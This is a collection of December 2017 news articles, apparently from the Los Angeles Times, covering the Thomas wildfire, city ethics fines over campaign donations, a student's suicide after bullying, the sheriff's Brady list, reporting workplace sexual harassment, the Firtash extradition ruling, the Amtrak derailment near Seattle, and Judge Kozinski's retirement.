The winds and extremely low humidity  and the lack of rain  were a recipe for a historic fire. Extreme winds that come straight out of the north and northwest can be a big problem for the canyons of Santa Barbara County, which are oriented in a north-south direction, and can create dangerous fire conditions from the northern mountains to the populated coast. Theyre often called sundowners because they tend to occur during evening hours.

Similarly, Santa Ana winds that come from the northeast can cause extremely fast fire growth in Los Angeles and Ventura counties, such as in the river valley that connects Santa Clarita to Ventura.

Another major problem has been the lack of rain in Southern California.

We usually get a good storm by now, Bruno said. This is kind of ridiculous.

As exhausted crews entered their third week of the battle, keeping firefighters energized proved challenging. Theyre working three-week shifts, and many know theyll be working on Christmas Day.

Some spent Monday torching areas of the hillside along Highway 33 thats dense with brush in an effort to keep the wildfire from spreading there when winds pick up Wednesday. Others mopped up hot spots they feared could reignite.

All you need is a small hot spot the size of your palm and it can start a fire all over again, said Derek Alkonis, assistant fire chief with the Los Angeles County Fire Department.

Firefighter Hannah Key and her crew from Porterville, Calif., spent 14 hours raking thick brush from the hillside of Ojai Valley and stomping out hot spots using shovels.

As Key walked down the hill and reached the shoulder of Highway 33, she turned and shouted toward the charred hillside where members of her team were still making their way down.

Fill up your water, Ill meet you at the truck, she told them as they headed back to the firetruck. Monday was their last day at the Thomas fire.

They want to go home for the holidays, she said.

To keep her team motivated, Key said she makes sure to talk to each member individually. She helps them look forward to the end of the shift with the lure of food.

Food is a great motivator, she said, laughing.

She, too, is excited to go home. She plans to spend the holidays with her boyfriend and celebrate her birthday next week at the Grand Canyon.

Rachele Oman, a fire engineer who traveled from Utah, expects to work through the New Years holiday. But she said she doesnt mind.

Itll give an opportunity to those who can go home to be with their families, she said. Theyll need people working on this fire still throughout January.

Areas of concern for firefighters include the coastal communities of Santa Barbara, Summerland and Montecito, as well as the Matilija Wilderness and Rose Valley, according to the California Department of Forestry and Fire Protection. On the eastern side of the fire, the threat continues for Fillmore in Ventura County.

Anxiety remains high among evacuated residents, many of whom have been displaced for more than a week. Some have no idea if their homes are still standing.

Stephen Dougherty has been on edge since Dec. 10, when he and his wife left their Montecito home for a Red Cross shelter at UC Santa Barbara.

But the Doughertys have been through this before. This is the third time in a decade that the couple has had to evacuate their home because of wildfires.

Its part of California life, Dougherty said.

Etehad reported from Ojai, Tchekmedyian and Branson-Potts from Los Angeles. Times staff writers Rong-Gong Lin II and Nicole Santa Cruz contributed to this report.

melissa.etehad@latimes.com

alene.tchekmedyian@latimes.com

hailey.branson@latimes.com
In his 24 years as a firefighter in Ventura County, Antonio Negrete has never seen a wildfire grow as quickly and with such intensity as the Thomas fire. He said hes also never seen so many resources or personnel dedicated to fighting such a massive blaze.

A lot of guys around here would tell you the same thing, Negrete said at the Ventura County Fairgrounds on Monday. Weve been firefighters for decades and have never seen anything like this.

Officials are using a reprieve in the winds over the next two days to set new backfires and build fire lines that they hope will halt the fire from advancing when the Santa Ana winds return Wednesday. But the conditions are setting the stage for a long fight, with officials saying they dont expect containment until January.

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The wildfire had grown to 270,000 acres and spurred 104,607 people to flee their homes, authorities said. More than 8,500 firefighters have battled the blaze, one of the largest mobilization of crews to fight any wildfire in California history. The firefight has cost $130 million.

Its now the third-largest fire in California history.

In his 28-year career as a firefighter, Capt. Rick Crawford with the Los Angeles Fire Department said hes battled extreme fires. But that the Thomas fire stands out as one of the  if not the  fiercest wildfire hes encountered.

It took the Zaca fire [in 2007] eight weeks to consume over 240,000 acres. It only took the Thomas Fire one week before it surpassed that, Negrete said. Ive never been part of a brush fire like this in December.

Negrete had also been fighting wildfires in Northern California in October. He didnt think hed see those firefighters so soon.

I told them Id see them next year. I didnt think Id be seeing them in two months, Negrete said.

Just because you dont see the flames doesnt mean theres no threat, Crawford added. We might be at a lull but that doesnt mean we should be complacent.

One surprising aspect that he said separates the Thomas Fire from others is how the red flag conditions have lasted for two weeks.

Usually Santa Ana winds last two days. Having 14 days of erratic winds is unprecedented, he said.

melissa.etehad@latimes.com

Twitter: @melissaetehad
A real estate developer and a billboard executive were fined Tuesday by the Los Angeles City Ethics Commission for flouting city rules that restrict how much donors can give to politicians.

The Ethics Commission agreed Tuesday to impose a $16,455 penalty on Ingrid I.S. Lee, also known as In Soo Lee, for exceeding city limits on political contributions by routing many of the donations through real estate companies.

Ethics commissioners also voted for a $15,000 fine for Joseph Kouba, one of the owners of billboard company Summit Media, for violating those same limits when he made donations to politicians both in his own name and through Summit Media.

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Los Angeles limits how much any political donor can give to candidates or elected officials during each election cycle. If a donor owns a company or completely controls its political donations, those campaign contributions are supposed to be tallied up along with his or her own personal donations.

But it isnt always clear who owns a business entity, making it challenging to tell exactly who is financially backing candidates and whether campaign donors are following the rules.

Lee exceeded the city limits by $3,870 by making donations through real estate companies Ceiland Coast Inc., Coastland Project LLC, Injae LLC and Westcal Property Management Group, the investigation found. The donations were given to campaigns to elect Councilman Gil Cedillo and Councilwoman Monica Rodriguez, as well as to an officeholder account for Cedillo.

Kouba, in turn, made donations to local politicians and directed Summit Media to donate to the same candidates and officials, according to the city investigation. Those donations, which exceeded city limits by $2,600, supported Cedillo, Councilman Jose Huizar, Councilman Marqueece Harris-Dawson and Councilman Paul Krekorian.

In both cases, city investigators said that the violations were serious and showed a pattern of activity. In addition, they found that the violations by Lee indicated an intent to conceal or deceive, noting that she was aware of the restrictions on how much she could give.

Investigators did not find any evidence that Kouba was trying to be deceptive, according to their report. However, they noted that Kouba had been fined $1,000 eight years ago for putting up political ads without including a legally required disclaimer.

Ethics Commission staffers nonetheless recommended that both Lee and Kouba face less than the maximum penalties  which could have totaled $32,910 for Lee and $20,000 for Kouba  because they had cooperated with the city investigations. Both Lee and Kouba declined to comment on the fines ahead of the Tuesday vote.

Investigators did not say, in their written reports, whether any of the politicians who received the excess donations were aware of the ties between Kouba or Lee and their companies. Representatives for those politicians told The Times that they were not aware of any connection when the donations were made.

The donors provided different names, addresses and contact information, Rodriguez campaign attorney Stephen Kaufman wrote in an email.

Similarly, Councilmember Huizar and his campaign had no way of knowing that these contributors were related, added Kaufman, who also represents Huizar.

One lawmaker already has paid money to the city because of the improper donations: Following an audit of his 2013 campaign, Cedillo agreed earlier this year to pay $7,000 to the city to resolve findings that his campaign four years ago had taken excess contributions, including donations from Kouba and Summit Media.

We were not aware of any connection between any other parties involved, Cedillo campaign treasurer David Gould wrote in response to questions about the donations tied to Kouba and Lee.

Business entities have repeatedly been used by Los Angeles donors to effectively sidestep the city limits on political contributions: In April, the ethics commission imposed a $17,000 fine on real estate investor Leeor Maciborski, who wrote checks through more than a dozen companies to help elect Councilman Mitch OFarrell four years earlier.

The Times previously had highlighted those donations as an example of the lack of transparency surrounding political donations from business entities. Following an audit of that campaign, OFarrell agreed to pay the city $4,000 to resolve audit findings for accepting those and other excess contributions.

Some cities sharply restrict political donations from businesses and other organizations. San Diego, for instance, allows candidates to take money only from individuals and political parties, banning all other entities from giving directly to candidates.

L.A.s Ethics Commission has weighed whether to demand more information from businesses and other groups that donate to local campaigns, but so far has not imposed any new requirements.

Campaign officials have warned that if Los Angeles imposes any restrictions on campaign contributions from businesses or other entities, those groups simply could shift their donations to independent committees that are not directly controlled by candidates, which can spend unlimited amounts to support their favored politicians.

emily.alpert@latimes.com

Twitter: @AlpertReyes
After a brief respite from the relentless gusts that have driven the deadly Thomas fire for more than two weeks, powerful winds are expected to return, adding to the challenges facing firefighters working to contain the mammoth blaze.

The fire, which began near Santa Paula in the foothills above Thomas Aquinas College on Dec. 4, has burned through 272,000 acres as of Tuesday evening, making it the second-largest wildfire in modern California history.

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On Tuesday, the Thomas fire surpassed the lightning-sparked Rush fire, which burned 271,911 acres in Lassen County in 2012.

The Thomas fire was 55% contained, and fire officials do not anticipate full containment until Jan. 8, according to the California Department of Forestry and Fire Protection.

Firefighters have tried to take advantage of weaker winds Monday and that were forecast for Tuesday. The Ventura County Fire Department on Tuesday morning reported another productive day Monday, but with shifting winds on the mountaintops.

Forecasters predict a new blast of Santa Barbaras notorious sundowner winds, which blow down the canyons to the coast, late Wednesday afternoon and Thursday morning. The winds could create crucial fire conditions for the western side of the blaze in southern Santa Barbara County.

Santa Barbara County firefighters stand on Gibraltar Ridge, located above Santa Barbara and Montecito, as a water drop is made on the Thomas fire on Monday. (Mel Melcon / Los Angeles Times )

Northerly gusts will likely exceed 40 mph, with isolated gusts of up to 60 mph possible, according to the National Weather Service.

The Santa Barbara County side of the fire will be affected by the strong winds first, on Wednesday afternoon and evening. Winds will then pick up on the Ventura County side Wednesday night and Thursday morning, said Joe Sirard, a meteorologist with the National Weather Service in Oxnard.

While winds pick up in Ventura County, they will decrease in Santa Barbara County, he said.

It is a very large fire, so youre going to have different wind effects over different parts of the fire, Sirard said.

High fire danger will exist in Los Angeles County this week as well, he said.

The winds should die down a bit Friday, Sirard said, but another round will return Saturday night and Sunday.

Sirard said the Thomas fire had burned a remote automatic weather station in the Montecito hills. The instruments provided data about wind speed, air and soil temperature, and humidity.

There was minimal fire activity overnight Monday, allowing fire crews to strengthen their containment lines, according to Cal Fire. Fuel in the area remains critically dry, posing an especially acute danger when the winds pick up.

Firefighters are not quite done on the southern edge of Montecito, where the fire pushed up against 1,300 homes and damaged 15, said Rudy Evenson, a spokesman for the multi-agency firefighting effort.

Crews on Tuesday were planning to burn a section of Los Padres National Forest in an attempt to further contain the fire, he said.

We want to manage it as lightly as we can, Evenson said.

Helicopter water drops were planned in an area near Fillmore called Bear Heaven. The threat to the city of Fillmore has decreased because firefighters were able to complete a control line from the town to Devils Gate, fire officials said.

On the fires north and east sides, it continues to burn farther into the Matilija and Sespe wilderness and toward the Sespe Condor Sanctuary, according to Cal Fire.

As the blaze becomes more contained, fire departments from other jurisdictions will start traveling home, Evenson said.

Its drastically ramping down right now, he said. Its nowhere near the scale that its been the past two weeks.

Some evacuation orders were being lifted in Carpinteria and Montecito.

Along Coast Village Road in Montecito, businesspeople were working to reopen shops and restaurants that had been closed since Saturday morning, when a mandatory evacuation was ordered. The order was lifted at 6 a.m. Tuesday.

Some merchants worried that closures during the peak holiday season could seriously hurt their profits for the year.

Its awful, said Jason Herrick, co-owner of the Liquor and Wine Grotto. The prolonged fires have resulted in his worst month for sales since December 2009, he said.

You didnt even see blue skies for 10 days, he said.

Herrick has owned the wine shop for nearly nine years and has been through wildfires before, but never one this long.

I dont think everyone can sustain, Herrick said of other business owners.

At Luckys, a steakhouse on the same street, employees wearing masks were working to clear ash from the patio. Larry Nobles, the restaurants wine director, said he could see the fire from the restaurants host stand a few days ago.

It looked like Armageddon coming at you, he said. Everybody had something packed.

Nobles was cautious about reopening the restaurant only to possibly have to close it again because of the expected return of the winds Wednesday.

Sounds like theyve got it contained, but you never know, he said.

nicole.santacruz@latimes.com

Twitter: @nicolesantacruz

hailey.branson@latimes.com

Twitter: @haileybranson

Santa Cruz reported from Montecito, and Branson-Potts reported from Los Angeles.

UPDATES:

9:25 p.m.: This article was updated with an increased containment figure.

6:25 p.m.: This article was updated to note that the fire is the second largest in modern California history.

12:15 p.m.: This article was updated with evacuation orders being lifted in Carpinteria and Montecito.

9:35 a.m.: This article was updated with new information from spokesman Rudy Evenson.

This article was originally published at 8:45 a.m.
A Inland Empire school district has launched an internal investigation of the suicide of a 13-year-old girl who was the apparent victim of repeated bullying by classmates, officials confirmed Monday.

The San Bernardino County Sheriffs Department has already been conducting an inquiry.

The announcement came as an attorney for the family of Rosalie Avila announced they would file a financial claim accusing the Yucaipa-Calimesa Joint Unified School District, which spans Riverside and San Bernardino counties, of contributing to the girls death by failing to respond appropriately to the bullying.

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On Nov. 28, Rosalie hanged herself in her bedroom. Family members found her with a note and a journal chronicling bullying she had endured. Rushed to a hospital, Rosalie never regained consciousness, said her mother, Charlene Avila. She was pronounced dead on Dec. 1.

I dont even know how to explain what my life is going to be like without her, said her father, Freddie Avila. She had so much to give to this world. She was so wonderful.

An attorney for the Yucaipa family said that the suicide happened after relentless taunting and name calling, which included Rosalie being told she had ugly teeth, that she was ugly, a whore, a slut, and had sexually transmitted diseases, according to a release.

Classmates also allegedly circulated a video portraying what an ugly girl looked like and what a pretty girl looked like and used a picture of Rosalie to portray the ugly girl.

The video was circulated throughout the school and online, her mother said.

The parents of Rosalie complained on numerous occasions about the bullying and we believe little or nothing was done to legitimately investigate these claims, which led directly to Rosie being depressed to a point where she began cutting herself in October, attorney Brian Claypool said. The school was aware and had actual notice of the cutting as well and did little if anything to intervene and snuff out the bullies.

School district officials declined to comment.

We are cooperating fully with the Sheriffs office as it conducts its investigation, officials said in a statement released Monday. We are also conducting our own internal investigation. Given that these efforts are ongoing, and due to our commitment to protecting the privacy of our students and their families, we cannot share any details at this time.

Under pressure since her death, the district organized a campus candlelight vigil, deployed grief counselors, posted materials about suicide prevention and counseling referrals and issued three official statements so far.

The school system is committed to maintaining a positive, inclusive school culture that enables our students to grow academically and socially, officials said in the second release. This issue requires all of us to work together, to watch for signs and intervene when we see problems. It is more essential than ever that we all come together, united in our commitment to the safety and well-being of our children.

Claypool joined the family on Monday in calling for legislation they said would make teen suicide less likely, including a requirement for written reports on any bullying allegations and mandatory notification of the parents of both the bully and bullied.

The family also announced three events: a community vigil Monday at 6 p.m. at Set Free Church in Yucaipa; a public viewing Tuesday from 5 to 9 p.m. at Rose Hills Memorial Park in Whittier, and a burial service Thursday from 11 a.m. to 2 p.m., also at Rose Hills.

howard.blume@latimes.com

Twitter: @howardblume
Los Angeles County Sheriff Jim McDonnell learned for the first time about misconduct by some of his own deputies from a Times report this month that examined a confidential roster of problem officers, he said.

McDonnell tried to give prosecutors a version of the so-called Brady list, but his efforts were blocked when a deputies union sued him last year. The case is now before the California Supreme Court.

The sheriff said he feels strongly that prosecutors should have this information as they assess how to use his deputies in criminal trials. But as the leader of an agency with 18,000 employees, he said he does not always know about every allegation of wrongdoing in his agency.

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Among the cases he said he learned about from the Los Angeles Times story was that of Sheriffs Sgt. Jose Ovalle. After Ovalle realized a bloodied inmates shirt from a jail brawl was missing, he created false evidence by pouring taco sauce on a shirt, law enforcement records show. Ovalles name was added to a secret list of about 300 deputies whose history of wrongdoing might affect their credibility if they testify in court, according to a version of the list from 2014 that was reviewed by The Times.

I certainly felt the same way that any reader would: How does this happen? How do we end up in a position where were dealing with issues like this and reading about it in the paper? McDonnell said recently of the revelations in the Times article.

McDonnell said his effort to give the Brady list to prosecutors is part of reforming and restoring credibility to a department that was disgraced by a jail abuse scandal that resulted in the criminal conviction of more than 20 agency officials, including former Sheriff Lee Baca.

McDonnell became sheriff in 2014 and inherited many of the so-called Brady deputies, who had been disciplined long ago for lying, falsifying reports, committing domestic violence, and other violations. Hes barred by law from firing officers who were punished years earlier for their misconduct. And deputies can be reinstated or have their suspensions reduced by a county appeals board.

The sheriff, who was elected after the scandal that led to federal charges against Baca and other top officials, has clamped down on dishonesty and fought in court to make sure some misbehaving officers dont win their jobs back.

But when it comes to deputies whose wrongdoing occurred before his time, McDonnell says he has to play with the team and give those officers a shot at rehabilitation.

Its reality, he says. In some of those cases, those people were terminated and ordered back by the court. So you now have that person in the organization, and you have to get the best performance out of them you can. Youre paying them. They may be here for two more decades. To leave them without the hope of redeeming themselves is not productive.

Ovalle was able to keep his job after the taco sauce incident in 2003 and performed an act of exceptional heroism by saving a woman from a burning car the following year, according to county records. Ovalle, who now serves at the Century Station, said recently that he did not want to comment.

McDonnell has said that giving prosecutors the Brady list  named for a landmark 1963 U.S. Supreme Court decision that requires prosecutors to tell defendants about favorable evidence, including information that could damage the credibility of government witnesses  would help preserve the integrity of cases that rely on his deputies testimony.

The Assn. for Los Angeles Deputy Sheriffs, which represents rank-and-file deputies, says the Brady list casts a shadow upon deputies who have already been punished for infractions that were in some cases minor and long in the past. The unions president, Det. Ron Hernandez, did not respond to a request for comment.

Some watchdogs said the newspapers disclosures raised questions about why some deputies with histories of misconduct have kept their jobs.

An important question ... is whether the disciplinary system is working or whether it is broken, said Robert Bonner, a former federal judge and DEA administrator who chairs the Sheriff Civilian Oversight Commission.

Sean Kennedy, who also serves on the commission and is the executive director of Loyola Law Schools Center for Juvenile Law and Policy, said current deputies who committed misconduct many years ago could still pose problems as witnesses.

It was startling that someone could create fake blood evidence with taco sauce, even if thats in the distant past, he said. Someone who is willing to convict someone using false evidence and went through that level of artifice and creativity to create false physical evidence, in my opinion, remains of great concern.

maya.lau@latimes.com

Twitter: @mayalau
Sexual harassment in the workplace is a serious issue. Thanks to the #MeToo movement, more victims are stepping forward to report misconduct.

In the United States, your employer is legally obligated to investigate reports of sexual harassment. But when sexual harassment happens at work, most people dont know what steps they should take.

Heres what you should know and who you should talk to.

Before you report

What to know

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First, its important to understand what constitutes sexual harassment. If your boss says you have to sleep with him to get promoted, that is definitely sexual harassment, but so are things like making sexual jokes, graphic verbal commentary about your or someone elses body, and having porn on your computer where people can see it.

Sexual harassment includes any kind of unwanted sexual advance as well as visual, verbal or physical conduct of a sexual nature, said Toni Jaramilla, an attorney and the former chair of the California Employment Lawyers Assn. Even something like physically blocking someone from moving, if done with sexual undertones, constitutes harassment.

Check your companys handbook and see how it defines sexual harassment. If what happened violates the policy  even if it was something minor  and it made you uncomfortable, you should report it, experts said.

Sexual harassment can happen to men and to women, and both are protected under the law.

The Department of Labor has more detailed information on what actions are considered harassment.

Who to talk to

Reporting sexual harassment isnt like filing a lawsuit; you dont need a lawyer to fill out specific paperwork for it to qualify  though you may want to consult or hire a lawsuit later if you decide to pursue legal action.

If youve experienced sexual harassment at work, you should have someone you can talk to about it.

Sexual harassment really negatively impacts your psyche, your well-being, and so I think looking for some therapy or assistance in that regard is important, Jaramilla said. Also, if your case does go to trial, a therapist can testify that you told them about the harassment, and serve as proof that it had a significant mental impact on you, she said.

What to do

In many cases, sexual harassment is a pattern. Lawyers advise people to keep a detailed written record of incidents. Include everything you can: the date, the time, the location, the perpetrator, and anyone who may have witnessed it.

Memories can fade, said Helen Kim, an L.A.-based attorney whose firm focuses on plaintiffs employment law. Make sure you have as much of the events documented as possible.

Jaramilla says a physical paper record is better than a digital one, particularly if that digital record is accessible from your work computer. If there are emails or text messages that support your claim, print them out and have backup copies.

(One note about collecting evidence: Dont make a recording of anyone without checking your states laws first. In California, you cannot record another person without their consent. Evidence obtained illegally generally cant be used in court.)

When you report

What to know

When you report sexual harassment, you are legally protected from retaliation. That means your work cant fire you, demote you or take away job responsibilities.

Its best to report sexual harassment as soon as possible after it happens. You dont have to go running to the human resources office immediately, but it should be reported within a reasonable period of time.

Legally, you have one year from the last act of harassment or misconduct to file a state claim with the California Department of Fair Employment and Housing, and 300 days from the last act to file with the federal Equal Employment Opportunity Commission. Different states have different deadlines, and they may vary if its a claim against a public or federal employee.

But what if something happened months or years ago? Is it worth reporting? Yes, says Jaramilla: Its always good to come forward, because you never know whether you helped prevent it from happening to someone else.

Regardless of how long ago the incident occurred, your company still has a legal obligation to investigate. Even if you dont work at a company any more, you can send them a letter notifying them of a potentially problematic employee.

Its always good to come forward, because you never know whether you helped prevent it from happening to someone else.  Toni Jaramilla, attorney and former chair of the California Employment Lawyers Assn.

Who to talk to

The best person to report sexual harassment to is your human resources representative. But you can report it to your manager, or anyone in management at your company. You can go straight to the CEO if you want. They all have the same legal obligation to trigger an investigation into your claim.

Under Californias Fair Employment and Housing statute, all employees have a legal right to not be sexually harassed at work, no matter how small the company is. If your manager or HR person is the one harassing you, or if its your boss and youre a two-person company, you can report it to the California Department of Fair Employment (or your states equivalent) or the Equal Employment Opportunity Commission.

What to do

Reporting sexual harassment can be done verbally or in writing. Doing it in writing is your best bet: It creates a paper trail and can serve as proof that you filed a complaint if you end up in court.

There is no specific language you have to use to make it legally qualify as a complaint. Here is a sample version provided by Jaramilla:

Date: (Todays Date)

To: Kelly Hunter, Director of Human Resources (Best to have a specific name of the person in HR or management)

From: Janet Roe, Account Clerk

Re: Report of Sexual Harassment

My name is Janet Roe and I am an Account Clerk in the Marketing Department.

I would like to report (name) who is currently my supervisor. Mr. (name) has conducted himself in a manner that has made me feel uncomfortable and unsafe and which I believe violates the companys sexual harassment policy. Just a few examples of his conduct include (actions). I have attached a list of additional incidents and dates and will cooperate with your investigation to answer any questions you may have.

I am aware of my legal rights in the workplace, including that I shall not be retaliated against for submitting this report and that you will conduct a fair and prompt investigation and protect me from further harm.

After you report

What to know

During the investigation, expect someone to interview the witnesses youve named and the perpetrator. The investigation has to include a thorough examination of any evidence you provided. Youll be asked who, what and when, and asked if you told anyone else about it at that the time that the company can speak to, Kim said.

You can request that you, the complainant, be kept confidential, particularly if the harassment was not specifically directed at you  for instance, a coworker having porn on his computer. Some workplaces have anonymous hotlines.

What to do

Your office is legally obligated to immediately begin an investigation into your claims. Kim said that as part of that process, expect to be interviewed and have your evidence reviewed. Be prepared to provide contact information for any people who may have witnessed the harassment.

Jaramilla said you should receive an acknowledgment of your complaint the day you send it, and should expect an investigation to begin within the week. Theres no legal statute of exactly how long a workplace can take to start investigating an assault, but it should be prompt.

If your workplace fails to investigate a sexual harassment claim, you have a new claim against them. Put a follow-up to your complaint in writing, stating that you made your first complaint on what date, and youve heard nothing back and now youre following up. Document every follow-up.

Who to talk to

If it seems like your office is not thoroughly investigating your claim, experts advise consulting a lawyer about your next steps. Bring your initial complaint and your follow-ups to them or to a state or federal agency  the California Department of Fair Employment and Housing or the Equal Employment Opportunity Commission  so that they can investigate.

jessica.roy@latimes.com

Twitter: @jessica_roy
Vienna Higher Regional Court on December 19 rejected a counterclaim from the Vienna prosecutors and upheld the decision of Vienna's Regional Court dated August 29, 2017 that rejected a request of the Spanish law enforcement agencies to extradite Ukrainian businessman Dmytro Firtash, Austria's Kurier publication has reported.

"The decision is final," the newspaper said.

According to the newspaper, the court made the decision due to formal reasons, as the Spanish judiciary did not manage to convey the basic cornerstones of the alleged crimes, such as the time of the crime and the crime scene.

As reported, Chairman of Group DF Dmytro Firtash was arrested in Austria on March 12, 2014 at the request of U.S. authorities. According to the U.S. Department of Justice, the accused attempted to pay a bribe worth $18.5 million to receive a permit for mining operations in India. Firtash denied all charges and called them politically motivated, aimed at limiting his influence on the processes in Ukraine.

The Vienna Regional Court for Criminal Matters ruled on Firtash's extradition-related arrest but then decided to release him on EUR 125 million bail on condition he would not leave Austria. On April 30, 2015, the same court ruled not to extradite Firtash to the United States. In September 2015, the Vienna Public Prosecutor's Office (Austria) filed an appeal against this decision, and on February 21, 2017, the Vienna Higher Regional Court satisfied it.

However, the final decision on extradition depends on the Austrian Federal Minister of Justice, which was awaiting the completion of consideration of another request for the extradition of Firtash from Spain, by which he was detained by the Vienna Prosecutor's Office immediately after the appeal court hearing on February 21, 2017. On February 23, the Regional Court dismissed the businessman under the obligation to regularly appear in court and to not leave the territory of Austria, and considering the bail of EUR 125 million on the extradition case in the United States. After his release from the detention center, Firtash once again said that he was not guilty, and called the U.S. and Spain's requests part of the campaign of his political persecution.
After a speeding Amtrak train derailed during its first trip on a new rail line  on the heels of two deadly passenger rail crashes blamed on high speed since 2015  safety experts on Tuesday asked why the train did not have the latest automated control system.

The train was traveling 80 mph in a 30-mph zone on a newly opened $181-million segment of track south of Seattle, according to the National Transportation Safety Board. Train cars spilled onto busy Interstate 5 and killed three train passengers.

The new 14.5-mile bypass, developed by the local government agency Sound Transit, was designed to allow the train to travel at faster speeds by avoiding cargo traffic.

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But the passage was not yet equipped with what is known as a positive train control system. Such systems automatically slow down trains when they are approaching curves too quickly or headed toward a collision with another train.

Sound Transit is working to install the complex electronic system, having outfitted the majority of the equipment on its tracks and trains, but does not expect the automatic system to be operational until the second quarter of 2018, said spokesman Geoff Patrick.

When everything else goes wrong, the positive train control is supposed to intervene. Investigators said the lack of such a system contributed to eight deaths in an Amtrak accident in 2015 and a single fatality in a New Jersey Transit crash in 2016.

Why they didnt have positive train control is a question in my mind, said Michael McGinley, a railroad safety expert and track engineer. Why wouldnt they build a new system with the latest technology?

The simple answer is that U.S. railroads and their government regulators have been slow to implement the tricky system, leaving the majority of trains unprotected. McGinley noted that the U.S. Department of Transportation and the Federal Communications Commission, among other federal agencies, took more than a year to coordinate their rules for the system.

Much of the freight railroad industry fought the regulations, arguing it was not economical. And when the companies were finally ordered to adopt the technology, suppliers were backed up to design and produce the custom systems.

I think it should make people very angry, Keith Millhouse, the former board chairman for Southern Californias Metrolink commuter rail system, said of the lack of positive train control on the Washington track. Metrolink installed positive train control after the 2008 Chatsworth train disaster, which was caused by a texting Metrolink engineer.

Congress had originally given the nations rail services until 2015 to finish installing positive train control systems on their lines. But that deadline was extended until the end of 2018 as rail officials complained about the technical challenges of implementing the safeguards.

To positive train control advocates such as Millhouse, that delay has been deadly.

It was clear that train could not handle that curve going 80 miles an hour, Millhouse said of Mondays Amtrak crash. Given the fact positive train control was mandated in the Rail Safety Act of 2008, the delays in getting it implemented around the country are really inexcusable, and its cost people their lives.

Patrick, the Sound Transit spokesman, said installation of the positive train control was not behind schedule and that the agency always intended to have it operational some months after the service began. He noted that other segments of the Amtrak rail system between Seattle and Portland, Ore., also do not have operational systems.

NTSB officials gathered the speed data from the rear engine of the 14-car train, which appears to be the only car that did not derail on a bridge over Interstate 5. About five crew members and 80 passengers were on board.

However, its too early to tell why the train was traveling so fast in a slow zone, NTSB member Bella Dinh-Zarr said at a Monday night news conference, as federal investigators began arriving at the scene of the crash.

She did not say whether investigators believed speed was the cause of the derailment and added that the train crew had not been interviewed yet.

We will be looking at all the different areas of this accident to look for possible factors leading to the crash, Dinh-Zarr said. We dont have a great deal of information to report.

Typically, train engineers are supplied with employee timetables that include speed limits on every inch of the track they will go over.

About one mile before a speed-restricted curve, signs are posted notifying the engineer of a speed change. And engineers are required to be territory qualified and familiar with their route, particularly on an inaugural journey like the one the Amtrak train was taking, said McGinley, a railroad safety expert and track engineer.

The Amtraks front locomotive was reportedly carrying two engineers when it crashed, not the typical single train operator used on most trains. The presence of two engineers will probably be examined by investigators.

Whether they were distracted when they passed the speed sign, we dont know, said Steven Ditmeyer, a retired research and development chief at the Federal Railroad Administration.

Mondays crash seems to share some similarities with a 2015 Amtrak crash in Philadelphia, which derailed after a distracted engineer entered a curve too quickly. At a 2016 meeting announcing the boards findings of the Philadelphia crashs causes, NTSB Chairman Christopher A. Hart said positive train control would have stopped this entirely preventable tragedy.

Unless positive train control is implemented soon, Im very concerned that were going to be back in this room again, hearing investigators detail how technology that we have recommended for more than 45 years could have prevented yet another fatal rail accident, Hart said at the May 17, 2016, meeting.

The three dead on the train included two rail aficionados, Zack Willhoite and Jim Hamre, who were on board for the inaugural journey.

Willhoite worked as an IT customer service support specialist for Pierce Transit, a Pierce County transit agency.

Behind the scenes he was a writer and advocate for better transit for all, tweeted Pierce Transit board member Chris Karnes, a crash survivor, who said Willhoite had also helped the board with IT issues. He will be missed.

Hamre was a board member for the Rail Passengers Assn., a transit advocacy group, and he formerly worked at the Washington State Department of Transportation.

Jim combined personability and kindness, and paired it with an intricate and detailed knowledge of transit policy and technical insight, the association said in a statement. This made him an extremely powerful advocate and an inspiration for others. Willhoite was also a member of the association.

Tuesday was expected to be the first full day on the scene for NTSB investigators. Dinh-Zarr, the board member, said investigators were often on scene for seven to 10 days. Its common for reports issuing probable-cause findings for the reasons for crashes to take a year or longer.

Our mission is not just to understand what happened, but why it happened, and to recommend changes so we can prevent another tragedy from happening again, Dinh-Zarr said, noting that the NTSB has recommended the implementation of positive train control for years.

Millhouse, the former Metrolink chairman, urged swifter action.

The NTSB report will be very exhaustive but will take a year or 18 months to come out, Millhouse said. In the interim, the people of Washington and Oregon just cant sit back and cross their fingers and hope nothing happens again. They have to be proactive now and take measures with their system.

UPDATES:

4:50 p.m.: This article was updated to report that the derailed train was not equipped with the latest technology designed to slow trains traveling at excessive speeds.

12:40 p.m.: This article was updated throughout with staff reporting.

This article was originally published at 12:20 a.m.
Judge Alex Kozinski was stating the obvious Monday when he said that he couldnt contest more than a dozen allegations of sexual misconduct and be an effective judge. As a consequence, the Pasadena-based jurist announced, he was retiring after three decades on the U.S. 9th Circuit Court of Appeals. His announcement brings an abrupt and embarrassing  but also appropriate  end to a distinguished career.

The Washington Post reported this month that six women who had worked for Kozinski had said he had subjected them to inappropriate sexual conduct or comments, including showing two of them pornography. The judges first reaction was dismissive: If this is all they are able to dredge up after 35 years, I am not too worried, he told this newspaper.

But last week the Post reported that nine additional women had made complaints, including four who said Kozinski had touched them inappropriately. A former law student said he touched her breast with deliberateness at a reception last year when he moved her lapel aside to read her name tag. A law professor said he pinched her and touched her leg.

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Its impossible to reconcile Judge Kozinski version of events with those of his accusers.

Those allegations describe gross conduct beyond anything that could be characterized as mere irreverence or eccentricity, qualities for which the 67-year-old judge long has been known, along with legal brilliance. Nor can it be compared to the private perusal of pornography, a practice that is as legal for judges as it is for other Americans.

Still, Kozinski tried to explain away his predicament as some kind of misunderstanding. Ive always had a broad sense of humor and a candid way of speaking to both male and female law clerks alike, the judge said Monday. In doing so, I may not have been mindful enough of the special challenges and pressures that women face in the workplace. It grieves me to learn that I caused any of my clerks to feel uncomfortable; this was never my intent. For this I sincerely apologize.

Its impossible to reconcile the judges version of events with those of his accusers. In fact, in an earlier statement, the judge had said that many of the accusations against him are simply not true. Unfortunately, its unlikely that the federal judicial system will now resolve the inconsistencies.

Last week, at the request of the chief judge of the 9th Circuit, U.S. Supreme Court Chief Justice John G. Roberts Jr. asked the New York-based U.S. 2nd Circuit Court of Appeals to have its judicial council investigate Kozinski. But now that Kozinski has announced his retirement, the future of that investigation is in doubt. On Monday a spokesman for the Administrative Office of the U.S. Courts declined to comment on whether it would proceed. The law authorizing such investigations doesnt specifically mention retired judges.

Yet even if there is no further investigation of the claims about Kozinski, the federal judiciary should rededicate itself to ensuring that the cloisters of judges chambers arent sanctuaries for sexual harassment or other forms of abuse and exploitation.

